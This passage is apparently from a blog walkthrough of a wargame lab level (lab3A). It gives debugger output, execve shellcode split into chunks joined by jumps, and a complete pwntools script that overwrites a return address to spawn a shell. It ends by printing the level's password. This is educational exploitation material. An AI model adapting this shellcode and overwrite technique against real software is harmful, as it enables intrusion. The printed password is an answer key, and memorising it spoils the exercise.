… and enter the command store in order to get to our first breakpoint:

[----------------------------------registers-----------------------------------]
EAX: 0xbffff568 --> 0x0
EBX: 0xbffff568 --> 0x0
ECX: 0x65 ('e')
EDX: 0xbffff6f8 ("store")
ESI: 0x0
EDI: 0xbffff6f8 ("store")
EBP: 0xbffff718 --> 0x0
ESP: 0xbffff550 --> 0xbffff568 --> 0x0
EIP: 0x8048b67 (<main+341>:     call   0x8048917 <store_number>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048b5e <main+332>:        jne    0x8048b75 <main+355>
   0x8048b60 <main+334>:        lea    eax,[esp+0x18]
   0x8048b64 <main+338>:        mov    DWORD PTR [esp],eax
=> 0x8048b67 <main+341>:        call   0x8048917 <store_number>
   0x8048b6c <main+346>:        mov    DWORD PTR [esp+0x1bc],eax
   0x8048b73 <main+353>:        jmp    0x8048bd2 <main+448>
   0x8048b75 <main+355>:        mov    DWORD PTR [esp+0x8],0x4
   0x8048b7d <main+363>:        mov    DWORD PTR [esp+0x4],0x8048f63
Guessed arguments:
arg[0]: 0xbffff568 --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff550 --> 0xbffff568 --> 0x0
0004| 0xbffff554 --> 0x8048f5d ("store")
0008| 0xbffff558 --> 0x5
0012| 0xbffff55c --> 0x0
0016| 0xbffff560 --> 0xb7fff55c --> 0xb7fde000 --> 0x464c457f
0020| 0xbffff564 --> 0xbffff5c8 --> 0x0
0024| 0xbffff568 --> 0x0
0028| 0xbffff56c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048b67 in main ()

The breakpoint stopped the execution right before the call to store_number. The last instruction pushed the address of data on the stack. Thus the first item on the stack is the address we are looking for: 0xbffff568.

Now we can continue the execution:

gdb-peda$ c
Continuing.
 Number: 1337
 Index: 1
 Completed store command successfully
Input command: quit

As we function store_number has been called, we enter some number and an index which meets the requirements (index % 3 != 0). After that we enter the command quit in order to leave the program and hit our second breakpoint:

[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fcd000 --> 0x1a9da8
ECX: 0x74 ('t')
EDX: 0xbffff6f8 ("quit")
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xbffff71c --> 0xb7e3ca83 (<__libc_start_main+243>:        mov    DWORD PTR [esp],eax)
EIP: 0x8048c3b (<main+553>:     ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048c38 <main+550>:        pop    ebx
   0x8048c39 <main+551>:        pop    edi
   0x8048c3a <main+552>:        pop    ebp
=> 0x8048c3b <main+553>:        ret
   0x8048c3c:   xchg   ax,ax
   0x8048c3e:   xchg   ax,ax
   0x8048c40 <__libc_csu_init>: push   ebp
   0x8048c41 <__libc_csu_init+1>:       push   edi
[------------------------------------stack-------------------------------------]
0000| 0xbffff71c --> 0xb7e3ca83 (<__libc_start_main+243>:       mov    DWORD PTR [esp],eax)
0004| 0xbffff720 --> 0x1
0008| 0xbffff724 --> 0xbffff7b8 --> 0x0
0012| 0xbffff728 --> 0xbffff814 --> 0x0
0016| 0xbffff72c --> 0xb7feccea (<call_init+26>:        add    ebx,0x12316)
0020| 0xbffff730 --> 0x1
0024| 0xbffff734 --> 0xbffff7b4 --> 0xbffff8d3 --> 0x0
0028| 0xbffff738 --> 0xbffff754 --> 0x94468690
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x08048c3b in main ()

The execution stopped before the ret instruction. Thus the return address is located at the top of the stack which is the address 0xbffff71c.

Now we have got the address of the data buffer (0xbffff568) and the return address (0xbffff71c). Nevertheless remember that these addresses may vary slightly if the binary is not executed in gdb.

The offset to the return address is 0xbffff71c - 0xbffff568 = 436 byte.

shellcode

Since we can control the instruction pointer now, we have to deploy a shellcode which should be executed.

Where can we store our shellcode? As we have already seen, we cannot use arguments to the program or environment variables. So the obvious place seems to be the data buffer. As we figured out, there are some restriction for that buffer:
–> index % 3 != 0
–> number >> 24 != 0xb7

That means that we can only store two adjacent 4-byte values, followed by one reserved 4-byte value:

We can only use the blue coloured bytes for our shellcode. The red bytes contain 0, because the array has been initialized with 0, and we cannot store a value here.

What would happen if we store our shellcode in the blue bytes with the red gaps in between? After the last instruction stored in the blue area, the processor would proceed to interpret the next byte in the red area as an instruction and raise an exception because 0x00 is not a legal instruction.

Thus we have to prevent the red bytes from being executed by jumping over these bytes:

The op-code eb 04 defines a relative jump of 4 bytes from the current position. Thus we can make the processor continue the execution in the next blue area.

As you can see in the picture we have to split our shellcode in 6 bytes chunks. We must also consider that the values are written as 4-byte unsigned integers being stored in little endian.

As a starting point I used the shellcode from the first level of this lab, which simply spawns a /bin/sh shell (I truncated the syscall of exit):

31 c0                 xor    eax, eax
50                    push   eax
68 2f 2f 73 68        push   0x68732f2f
68 2f 62 69 6e        push   0x6e69622f
89 e3                 mov    ebx, esp
89 c1                 mov    ecx, eax
89 c2                 mov    edx, eax
b0 0b                 mov    al, 0xb
cd 80                 int    0x80

When splitting the shellcode into chunks of 6 bytes, we must keep instructions which are a few bytes long in one chunk:

31 c0 50
68 2f 2f 73 68
68 2f 62 69 6e 
89 e3 89 c1 89 c2 
b0 0b cd 80 

Now we need to fill the gaps with nop instructions as we would otherwise also run into a null-byte (we can skip the last chunk):

31 c0 50 90 90 90
68 2f 2f 73 68 90
68 2f 62 69 6e 90
89 e3 89 c1 89 c2 
b0 0b cd 80

At next we append the jumps to the next chunk:

31 c0 50 90 90 90 eb 04
68 2f 2f 73 68 90 eb 04
68 2f 62 69 6e 90 eb 04
89 e3 89 c1 89 c2 eb 04
b0 0b cd 80

At last we convert the values to 4-byte unsigned integers (little endian):

0x9050c031
0x04eb9090
0x732f2f68
0x04eb9068
0x69622f68
0x04eb906e
0xc189e389
0x04ebc289
0x08cd0bb0

If we now store the values at the correct index, the resulting memory looks like this:

In order to do this I wrote the following python-script using pwntools:

lab3A@warzone:~$ cat /tmp/exploit_lab3A.py
from pwn import *

def store(p, val, idx):
  p.sendline("store")
  p.recv(100)
  p.sendline(str(val))
  p.recv(100)
  p.sendline(str(idx))
  print(p.recv(100))

# start up program and read inital output
p = process("./lab3A")
p.recv(1000)

# overwrite return address
addr = int(sys.argv[1], 16)
store(p, addr, 109)

# store shellcode
store(p, 0x90909090, 1)
store(p, 0x04eb9090, 2)

store(p, 0x90909090, 4)
store(p, 0x04eb9090, 5)

store(p, 0x90909090, 7)
store(p, 0x04eb9090, 8)

store(p, 0x90909090, 10)
store(p, 0x04eb9090, 11)

store(p, 0x90909090, 13)
store(p, 0x04eb9090, 14)

store(p, 0x9050c031, 16) # xor eax, eax; push eax
store(p, 0x04eb9090, 17)

store(p, 0x732f2f68, 19) # push 0x68732f2f
store(p, 0x04eb9068, 20)

store(p, 0x69622f68, 22) # push 0x6e69622f
store(p, 0x04eb906e, 23)

store(p, 0xc189e389, 25) # mov ebx, esb; mov ecx, eax; mov edx, eax
store(p, 0x04ebc289, 26)

store(p, 0x80cd0bb0, 28) # mov al, 0xb; int 0x80

p.sendline("quit")
p.interactive()

The script simply runs the program (line 13) and overwrites the return address stored at index 109 (offset: 436 / 4 = 109) with an address passed as argument to the script (sys.argv[1], lines 17-18). After that the shellcode is placed in the corresponding (blue) areas. Before the actual shellcode I place an additional nop-sled. The final command quit makes the program quit and thus executing our shellcode (line 50). With the last line p.interactive() (line 51) stdin is rebound to the keyboard-input.

As we have seen in the last levels, the stack addresses determined using gdb may vary when directly executing the program. Thus we have to try different addresses to finally hit our shellcode. This address for data we determined using gdb has been 0xbffff568. Because the shellcode begins at the second element we start with the address 0xbffff56c:

lab3A@warzone:/levels/lab03$ python /tmp/exploit_lab3A.py 0xbffff56c
[+] Starting program './lab3A': Done
 Completed store command successfully

 Completed store command successfully

 Completed store command successfully
 ...

[*] Switching to interactive mode
[*] Got EOF while reading in interactive

Got EOF while reading in interactive: not yet.

lab3A@warzone:/levels/lab03$ python /tmp/exploit_lab3A.py 0xbffff54c
[+] Starting program './lab3A': Done
 Completed store command successfully

 Completed store command successfully

 Completed store command successfully
 ...

[*] Switching to interactive mode

No EOF! Looks good 🙂

$ whoami
lab3end
$ cat /home/lab3end/.pass
sw00g1ty_sw4p_h0w_ab0ut_d3m_h0ps

Done 🙂 The final password for this lab is sw00g1ty_sw4p_h0w_ab0ut_d3m_h0ps.

Leave a Reply

Your email address will not be published. Required fields are marked *